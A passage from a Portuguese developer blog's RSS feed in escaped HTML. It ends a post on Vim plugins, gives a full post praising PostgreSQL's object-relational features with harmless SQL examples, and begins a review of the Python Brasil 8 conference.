&lt;p&gt;É possível criar &lt;em&gt;plugins&lt;/em&gt; utilizando &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;, &lt;em&gt;Lua&lt;/em&gt;, &lt;em&gt;Perl&lt;/em&gt;,
&lt;em&gt;Ruby&lt;/em&gt;, etc. O editor também possui uma linguagem própria de &lt;em&gt;scripts&lt;/em&gt;
chamada &lt;a href=&quot;http://en.wikipedia.org/wiki/Vimscript&quot; title=&quot;Saiba mais sobre a Vimscript no Wikipedia&quot;&gt;&lt;em&gt;Vimscript&lt;/em&gt;&lt;/a&gt;. No &lt;em&gt;site&lt;/em&gt; do &lt;em&gt;Vim&lt;/em&gt; você pode conferir uma
&lt;a href=&quot;http://www.vim.org/scripts/index.php&quot; title=&quot;Vim scripts&quot;&gt;extensa lista de &lt;em&gt;plugins&lt;/em&gt;&lt;/a&gt;. Também é possível acompanhar o
desenvolvimento de &lt;a href=&quot;https://github.com/vim-scripts&quot; title=&quot;vim-scripts no GitHub&quot;&gt;extensões no &lt;em&gt;GitHub&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Um dos &lt;em&gt;plugins&lt;/em&gt; mais sensacionais é o &lt;a href=&quot;https://github.com/gmarik/vundle&quot; title=&quot;Repositório do Vundle no GitHub&quot;&gt;&lt;em&gt;Vundle&lt;/em&gt;&lt;/a&gt;. Trata-se de um
gerenciador de extensões, onde de maneira muito simples é possível
instalar e atualizar os mais variados tipos de soluções para o editor.
Com ele, fica muito mais fácil &lt;a href=&quot;https://github.com/kplaube/vimfiles&quot; title=&quot;Veja o meu vimrc no GitHub&quot;&gt;versionar e distribuir o seu &lt;em&gt;vimrc&lt;/em&gt;&lt;/a&gt;
para o seu grupo de trabalho.&lt;/p&gt;
&lt;p&gt;Abaixo estão algumas extensões que não podem faltar no meu ambiente de
trabalho:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/kien/ctrlp.vim&quot; title=&quot;Ctrlp no GitHub&quot;&gt;&lt;em&gt;ctrlp.vim&lt;/em&gt;&lt;/a&gt; – Encontre arquivos e &lt;em&gt;tags&lt;/em&gt; em seus projetos&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/scrooloose/nerdtree&quot; title=&quot;Nerdtree no GitHub&quot;&gt;&lt;em&gt;nerdtree&lt;/em&gt;&lt;/a&gt; – Explore o seu projeto através de uma árvore de
diretórios&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/scrooloose/syntastic&quot; title=&quot;Syntastic no GitHub&quot;&gt;&lt;em&gt;syntastic&lt;/em&gt;&lt;/a&gt; – Verificador de sintaxe que abrange &lt;em&gt;Python&lt;/em&gt;,
&lt;em&gt;Ruby&lt;/em&gt;, &lt;em&gt;PHP&lt;/em&gt;, &lt;em&gt;Javascript&lt;/em&gt;, etc&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tpope/vim-fugitive&quot; title=&quot;Vim-fugitive no GitHub&quot;&gt;&lt;em&gt;vim-fugitive&lt;/em&gt;&lt;/a&gt; – Um &lt;em&gt;wrapper&lt;/em&gt; para utilizar o &lt;em&gt;Git&lt;/em&gt; sem sair do
&lt;em&gt;Vim&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Lokaltog/vim-powerline&quot; title=&quot;Vim-powerline no GitHub&quot;&gt;&lt;em&gt;vim-powerline&lt;/em&gt;&lt;/a&gt; – Adicione uma &lt;em&gt;statusline&lt;/em&gt; mais eficiente ao
seu &lt;em&gt;Vim&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/vim-scripts/Wombat&quot; title=&quot;Wombat no GitHub&quot;&gt;&lt;em&gt;Wombat&lt;/em&gt;&lt;/a&gt; – Um excelente tema para o editor&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Free e open source&lt;/h2&gt;
&lt;p&gt;E por último mas não menos importante: O &lt;em&gt;Vim&lt;/em&gt; é livre, e de código
aberto.&lt;/p&gt;
&lt;p&gt;A sua licença de uso é peculiar, já que é compatível com a
&lt;em&gt;GNU GPL&lt;/em&gt;, mas possui cláusulas que incentivam
doações para &lt;a href=&quot;http://www.iccf.nl/news.html&quot; title=&quot;Leia os relatórios ICCF&quot;&gt;crianças em Uganda&lt;/a&gt;. Uma causa muito nobre do autor da
ferramenta, &lt;em&gt;Bram Moolenaar&lt;/em&gt;, que além de manter o &lt;em&gt;Vim&lt;/em&gt; e fazer
caridade, participa de outros tantos projetos de código aberto.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Algumas ferramentas acabam cativando os seus usuários de tal modo, que
os pontos negativos acabam sendo (propositalmente) esquecidos. No meu
caso o &lt;em&gt;Vim&lt;/em&gt; é uma dessas ferramentas, e embora eu entenda as críticas
em relação a sua curva de aprendizado, ainda assim o acho mais prático
que muita ferramenta moderna que tem “pipocado” recentemente.&lt;/p&gt;
&lt;p&gt;Se você tem interesse, ou acha um desafio interessante utilizar o &lt;em&gt;Vim&lt;/em&gt;,
eu recomendo que pule de cabeça agora mesmo. Não espere para acabar
aquele manual (ou tutorial) que você vem “negligenciando” há meses. A
maneira mais divertida é ir aprendendo de acordo com a necessidade.&lt;/p&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Uma ode ao PostgreSQL]]></title><description><![CDATA[O MySQL é um dos meus mais leais companheiros de
projetos, desde os meus tempos de PHP até projetos mais recentes
com o Python. A sua…]]></description><link>https://klauslaube.com.br/2013/01/31/uma-ode-ao-postgresql.html</link><guid isPermaLink="false">https://klauslaube.com.br/2013/01/31/uma-ode-ao-postgresql.html</guid><pubDate>Thu, 31 Jan 2013 20:39:21 GMT</pubDate><content:encoded>&lt;p&gt;O &lt;a href=&quot;http://www.mysql.com/&quot; title=&quot;Leia mais sobre o MySQL na página oficial do projeto&quot;&gt;&lt;em&gt;MySQL&lt;/em&gt;&lt;/a&gt; é um dos meus mais leais companheiros de
projetos, desde os meus tempos de &lt;a href=&quot;/tag/php.html&quot; title=&quot;Leia mais sobre PHP&quot;&gt;&lt;em&gt;PHP&lt;/em&gt;&lt;/a&gt; até projetos mais recentes
com o &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;. A sua agilidade e facilidade são indiscutivelmente
boas, tanto que renderam ao projeto um “domínio global” no ramo.&lt;/p&gt;
&lt;p&gt;Hoje, sob “cuidados” da &lt;a href=&quot;http://www.oracle.com/&quot; title=&quot;Página oficial da Oracle&quot;&gt;&lt;em&gt;Oracle&lt;/em&gt;&lt;/a&gt;, o projeto tem causado &lt;a href=&quot;http://www.infoq.com/br/news/2012/08/oracle-mysql-preocupa#.UDfedu0QkJA.twitter&quot; title=&quot;MySQL será fechado?&quot;&gt;certas desconfianças&lt;/a&gt;.
A criação de &lt;a href=&quot;https://mariadb.org/pt-br/&quot; title=&quot;Conheça o MariaDB&quot;&gt;um &lt;em&gt;fork&lt;/em&gt;&lt;/a&gt; pelo autor original não
ajudou, e isso &lt;a href=&quot;http://br-linux.org/2013/mais-um-opensuse-confirma-que-vai-abandonar-mysql-e-adotar-mariadb/&quot; title=&quot;OpenSUSE deixa o MySQL&quot;&gt;abriu margem&lt;/a&gt; para um velho, confiável e simpático
banco de dados: o &lt;a href=&quot;http://www.postgresql.org/&quot; title=&quot;Página oficial do projeto&quot;&gt;&lt;em&gt;Postgres&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Qual o motivo de começar um &lt;em&gt;post&lt;/em&gt; sobre o &lt;em&gt;Postgres&lt;/em&gt; falando do
&lt;em&gt;MySQL&lt;/em&gt;? Eu sempre me apoiei na “facilidade de uso” na hora de escolher
entre os dois, e só recentemente me “obriguei” a experimentar o
&lt;em&gt;Postgres&lt;/em&gt; em alguns projetos. O resultado foi a total satisfação com a
experiência, e a (surpreendente) conclusão que ele é tão fácil de mexer
quanto o seu concorrente.&lt;/p&gt;
&lt;h2&gt;O que há de especial no Postgres?&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Postgres&lt;/em&gt; está sob a licença &lt;a href=&quot;http://www.postgresql.org/about/licence/&quot; title=&quot;Leia mais sobre a licença PostgreSQL&quot;&gt;&lt;em&gt;PostgreSQL License&lt;/em&gt;&lt;/a&gt;, muito similar
a &lt;em&gt;BSD&lt;/em&gt; e &lt;em&gt;MIT&lt;/em&gt;, que nos permite o livre uso, cópia, modificação e
distribuição. Assumidamente o “banco de dados &lt;em&gt;open source&lt;/em&gt; mais
avançado do mundo”, ele é conhecido pela sua estabilidade, servindo
&lt;a href=&quot;http://www.postgresql.org/about/users/&quot; title=&quot;Conheça alguns projetos relevantes que utilizam o Postgres&quot;&gt;projetos de larga escala em todo o mundo&lt;/a&gt;. Embora eu nunca pude por à
prova a sua confiabilidade e escalabilidade, o fato de ele ser usado
como &lt;a href=&quot;https://postgres.heroku.com/postgres&quot; title=&quot;Why Postres&quot;&gt;banco relacional pelo &lt;em&gt;Heroku&lt;/em&gt;&lt;/a&gt; apresenta credenciais o
suficiente.&lt;/p&gt;
&lt;p&gt;Entre as &lt;a href=&quot;http://www.postgresql.org/about/featurematrix/&quot; title=&quot;Feature Matrix&quot;&gt;diversas funcionalidades do &lt;em&gt;Postgres&lt;/em&gt;&lt;/a&gt;, o suporte a
operações assíncronas, o &lt;a href=&quot;http://www.postgresql.org/docs/9.2/static/textsearch.html&quot; title=&quot;Leia mais sobre na documentação do Postgres&quot;&gt;&lt;em&gt;Full Text Search&lt;/em&gt;&lt;/a&gt; e o &lt;a href=&quot;http://postgis.refractions.net/&quot; title=&quot;Leia mais sobre PostGIS&quot;&gt;&lt;em&gt;PostGIS&lt;/em&gt;&lt;/a&gt; se
mostraram um bom diferencial para mim. Este último na verdade trata-se
de uma extensão do &lt;em&gt;Postgres&lt;/em&gt; (comprovando outra característica valiosa
do banco, a extensibilidade), e tive a oportunidade de utilizá-lo em um
projeto recente com &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;. Embora a sua
implantação não tenha sido tão trivial quanto o esperado, o resultado
atendeu completamente as expectativas.&lt;/p&gt;
&lt;p&gt;Outro ponto que acho muito bacana no projeto, é o seu &lt;a href=&quot;http://www.postgresql.org/docs/9.2/static/features.html&quot; title=&quot;SQL Conformance&quot;&gt;compromisso em seguir o padrão &lt;em&gt;SQL&lt;/em&gt;&lt;/a&gt;.
Atualmente (versão 9.2), o &lt;em&gt;Postgres&lt;/em&gt; se
compromete em atender o padrão &lt;em&gt;ANSI-SQL: 2008&lt;/em&gt;. Acho muito bacana esse
compromisso, principalmente se formos levar em consideração a
&lt;a href=&quot;http://en.wikibooks.org/wiki/SQL_dialects_reference&quot; title=&quot;SQL dialects&quot;&gt;quantidade de dialetos &lt;em&gt;SQL&lt;/em&gt;&lt;/a&gt; que temos hoje em dia.&lt;/p&gt;
&lt;p&gt;Junte isso tudo a facilidade de uso, e temos uma excelente ferramenta à
nossa disposição. Ainda não está satisfeito? Então vamos falar um pouco
sobre uma das características mais marcantes (e discutidas) do
&lt;em&gt;Postgres&lt;/em&gt;: O modelo objeto-relacional.&lt;/p&gt;
&lt;h2&gt;Objeto-Relacional?&lt;/h2&gt;
&lt;p&gt;A definição de banco de dados objeto-relacional da &lt;a href=&quot;http://pt.wikipedia.org/wiki/Banco_de_dados_objeto-relacional&quot; title=&quot;Leia mas sobre Objeto-Relacional na Wikipedia&quot;&gt;&lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt; é a
seguinte:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) é um sistema de gerenciamento de banco de dados
(SGBD) semelhante a um banco de dados
relacional, porém com um modelo de banco de dados orientado a objetos:
objetos, classes e herança são suportados diretamente nos esquemas do
banco de dados e na linguagem de consulta. Além disso, ele suporta
extensão do modelo de dados com a personalização de tipos de dados e
métodos.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Basicamente, um banco de dados objeto-relacional armazena os seus dados
de forma “relacional”, mas é capaz de abstrair o seu acesso através de
objetos, possibilitando assim a construção de operações mais complexas
que podem envolver conceitos da orientação a objetos. No &lt;em&gt;Postgres&lt;/em&gt;,
tabelas, relacionamentos, restrições e &lt;em&gt;triggers&lt;/em&gt; são considerados
objetos.&lt;/p&gt;
&lt;p&gt;Mas não são os “objetos” que vemos nas linguagens de programação. O
termo “objeto” aqui é um pouco diferente (e eu diria até limitado),
embora podemos encontrar &lt;a href=&quot;http://www.postgresql.org/docs/9.2/static/ddl-inherit.html&quot; title=&quot;Leia mais sobre herança de tabelas no Postgres&quot;&gt;heranças&lt;/a&gt;, &lt;a href=&quot;http://www.postgresql.org/docs/9.2/static/extend-type-system.html#EXTEND-TYPES-POLYMORPHIC&quot; title=&quot;Leia mais sobre tipos polimórficos no Postgres&quot;&gt;polimorfismo&lt;/a&gt; e &lt;a href=&quot;http://stackoverflow.com/questions/5625585/sql-postgres-oids-what-are-they-and-why-are-they-useful&quot; title=&quot;Saiba mais sobre os OIDs&quot;&gt;object ids&lt;/a&gt;.
No caso do &lt;em&gt;Postgres&lt;/em&gt;, o “objeto” de “objeto-relacional” está
ligado a todos os aspectos citados anteriormente, mais a organização dos
“recursos”, como na utilização de &lt;a href=&quot;http://www.postgresql.org/docs/9.2/static/ddl-schemas.html&quot; title=&quot;Leia mais sobre Schemas no Postgres&quot;&gt;&lt;em&gt;schemas&lt;/em&gt;&lt;/a&gt;, e na criação de tipos e
manipulação de dados complexos.&lt;/p&gt;
&lt;p&gt;Ou seja, você não verá uma notação como essa em uma &lt;em&gt;query&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;NOW&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;to_char&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;HH12:MI:SS&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E sim, a notação utilizando funções:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; to_char&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;NOW&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;HH12:MI:SS&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Mas em compensação, você verá que &lt;strong&gt;to_char&lt;/strong&gt; é uma &lt;a href=&quot;http://www.postgresql.org/docs/8.3/static/xfunc-sql.html#AEN40446&quot; title=&quot;Leia mais sobre funções polimórficas no Postgres&quot;&gt;função polimórfica&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; to_char&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10.3333333&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;99.99&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Se você não está satisfeito, e não se sente confortável com o termo
“objeto” usado pelo &lt;em&gt;Postgres&lt;/em&gt;, fique tranquilo… &lt;a href=&quot;http://www.postgresql.org/message-id/1335420139.28653.59.camel@jdavis&quot; title=&quot;Devemos parar de usar o termo objeto no Postgres?&quot;&gt;mais pessoas carregam esta angústia&lt;/a&gt;.
&lt;em&gt;Michael Stonebraker&lt;/em&gt; criou &lt;a href=&quot;http://www.service-architecture.com/object-oriented-databases/articles/stonebrakers_dbms_matrix.html&quot; title=&quot;Stonebraker&amp;#x27;s DBMS Matrix&quot;&gt;um esquema para identificar um &lt;em&gt;ORDBMS&lt;/em&gt;&lt;/a&gt;,
e partindo dele sou obrigado a concordar que
o &lt;em&gt;Postgres&lt;/em&gt; é de fato um banco objeto-relacional quando me deparo com o
seguinte cenário:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TYPE&lt;/span&gt; inventory_item &lt;span class=&quot;token keyword&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    name            &lt;span class=&quot;token keyword&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    supplier_id     &lt;span class=&quot;token keyword&quot;&gt;integer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    price             &lt;span class=&quot;token keyword&quot;&gt;numeric&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; on_hand &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    item      inventory_item&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    count     &lt;span class=&quot;token keyword&quot;&gt;integer&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;INSERT&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INTO&lt;/span&gt; on_hand &lt;span class=&quot;token keyword&quot;&gt;VALUES&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;ROW&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;fuzzy dice&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;42&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1.99&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;INSERT&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INTO&lt;/span&gt; on_hand &lt;span class=&quot;token keyword&quot;&gt;VALUES&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;ROW&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;cards&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;42&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;6.99&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;::inventory_item&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;500&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Uma manipulação complexa, com tipos criados pelo próprio usuário,
utilizando &lt;em&gt;queries&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Postgres&lt;/em&gt; é poderoso! Disso eu não tinha dúvidas. Mas ficar mais
próximo do banco me fez perceber o quanto ele pode agregar ao projeto.
Se em um próximo projeto você estiver em dúvida, e achar que a
utilização dele pode ser complicada, eu recomendo que experimente.&lt;/p&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://ledgersmbdev.blogspot.com.br/2012/08/intro-to-postgresql-as-object.html&quot; title=&quot;Leia mais sobre o modelo objeto-relacional do Postgres&quot;&gt;&lt;em&gt;Perspectives on LedgerSMB – O/R Modelling Part 1: Intro to PostgreSQL as Object-Relational Database Management System&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://ledgersmbdev.blogspot.com.br/2012/10/three-approaches-to-object-relational.html&quot; title=&quot;Leia o comparativo do approach de Postgres e Oracle em relação ao termo Object-Relational&quot;&gt;&lt;em&gt;Perspectives on LedgerSMB – Three Approaches to Object-Relational Databases: PostgreSQL, Oracle, and Informix&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.postgresql.org/about/&quot; title=&quot;Leia tudo sobre o Postgres&quot;&gt;&lt;em&gt;PostgreSQL – About&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.service-architecture.com/object-oriented-databases/articles/stonebrakers_dbms_matrix.html&quot; title=&quot;Conheça a linha tênue que separa um ORDBMS de um ODBMS&quot;&gt;&lt;em&gt;Web Services and Service-Oriented Architectures – Stonebraker’s DBMS Matrix&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.wikivs.com/wiki/MySQL_vs_PostgreSQL&quot; title=&quot;Veja um comparativo entre MySQL e PostgreSQL&quot;&gt;&lt;em&gt;WikiVS – MySQL vs. PostgreSQL&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Opinião: Python Brasil [8]]]></title><description><![CDATA[Nos dias 21 a 24 de Novembro de 2012 aconteceu
a Python Brasil. Em sua oitava edição, o evento mais aguardado
pelos desenvolvedores Python…]]></description><link>https://klauslaube.com.br/2012/12/09/opiniao-python-brasil-8.html</link><guid isPermaLink="false">https://klauslaube.com.br/2012/12/09/opiniao-python-brasil-8.html</guid><pubDate>Sun, 09 Dec 2012 14:38:15 GMT</pubDate><content:encoded>&lt;p&gt;Nos dias 21 a 24 de Novembro de 2012 aconteceu
a &lt;a href=&quot;http://2012.pythonbrasil.org.br/&quot; title=&quot;Visite o site oficial do evento&quot;&gt;&lt;em&gt;Python Brasil&lt;/em&gt;&lt;/a&gt;. Em sua oitava edição, o evento mais aguardado
pelos desenvolvedores &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; “tupiniquins” me surpreendeu
completamente. Um dos melhores eventos que participei nos últimos
tempos!&lt;/p&gt;
&lt;p&gt;E não é só pelo conteúdo apresentado durante as palestras, ou pelos
convidados especiais que deram um show a parte em suas apresentações,
mas esse “sentimento” deve-se ao fato de ser a primeira vez que fiquei
tão próximo da comunidade &lt;em&gt;Python&lt;/em&gt;, e me senti muito feliz por
compartilhar estes dias com pessoas tão bacanas e interessantes.&lt;/p&gt;
&lt;h2&gt;Expectativas&lt;/h2&gt;
&lt;p&gt;Nunca tive dúvidas em relação a qualidade do evento, pelo contrário,
várias pessoas que conheço já haviam participado e deram um bom
&lt;em&gt;feedback&lt;/em&gt;. A &lt;a href=&quot;http://www.globo.com/&quot; title=&quot;Visite o portal da Globo.com&quot;&gt;&lt;em&gt;Globo.com&lt;/em&gt;&lt;/a&gt; é “figurinha carimbada” no evento,
portanto vários colegas de trabalho já haviam participado, seja como
expectador ou como palestrante.&lt;/p&gt;
&lt;p&gt;Mas a minha expectativa maior estava em relação às pessoas. Estar entre
o pessoal era algo muito difícil para mim (geograficamente falando),
então conhecer alguns profissionais que acompanho pelo &lt;a href=&quot;http://www.twitter.com/kplaube/&quot; title=&quot;Siga-me no Twitter&quot;&gt;&lt;em&gt;Twitter&lt;/em&gt;&lt;/a&gt; era
uma das metas que eu tinha para o evento.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 600px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/51d7d0c6118f4f3d70d7b04e348e4d81/b4294/estande-globocom.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 74.47916666666666%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAPABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFAQP/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/aAAwDAQACEAMQAAABU7pVEnmFf//EABoQAAIDAQEAAAAAAAAAAAAAAAIDAAEhERL/2gAIAQEAAQUCR5JrLHljE41qDuGO/wD/xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAVEQEBAAAAAAAAAAAAAAAAAAAAIf/aAAgBAgEBPwFH/8QAHBAAAwABBQAAAAAAAAAAAAAAAAERAiIyUWHh/9oACAEBAAY/AkhaYemPbLjJwbYf/8QAHBAAAgICAwAAAAAAAAAAAAAAAREAITFBUZHB/9oACAEBAAE/IQK0WcEwiq/AzFHUdSy3EO3kJUgSn//aAAwDAQACAAMAAAAQxy//xAAWEQEBAQAAAAAAAAAAAAAAAAAAARH/2gAIAQMBAT8Qra//xAAYEQACAwAAAAAAAAAAAAAAAAAAAREhMf/aAAgBAgEBPxCsGpH/xAAdEAEBAAIBBQAAAAAAAAAAAAABEQAhMUFRYXGx/9oACAEBAAE/EN7ZAiXEslqJaXEMGEvB+YHRAgmpvJFXAkm+zp7woAgII3zn/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Estande da Globo.com na Python brasil 8&amp;quot;&quot;
        title=&quot;Estande da Globo.com na Python brasil 8&quot;
        src=&quot;/static/51d7d0c6118f4f3d70d7b04e348e4d81/b4294/estande-globocom.jpg&quot;
        srcset=&quot;/static/51d7d0c6118f4f3d70d7b04e348e4d81/7809d/estande-globocom.jpg 192w,
/static/51d7d0c6118f4f3d70d7b04e348e4d81/4ecad/estande-globocom.jpg 384w,
/static/51d7d0c6118f4f3d70d7b04e348e4d81/b4294/estande-globocom.jpg 600w&quot;
        sizes=&quot;(max-width: 600px) 100vw, 600px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
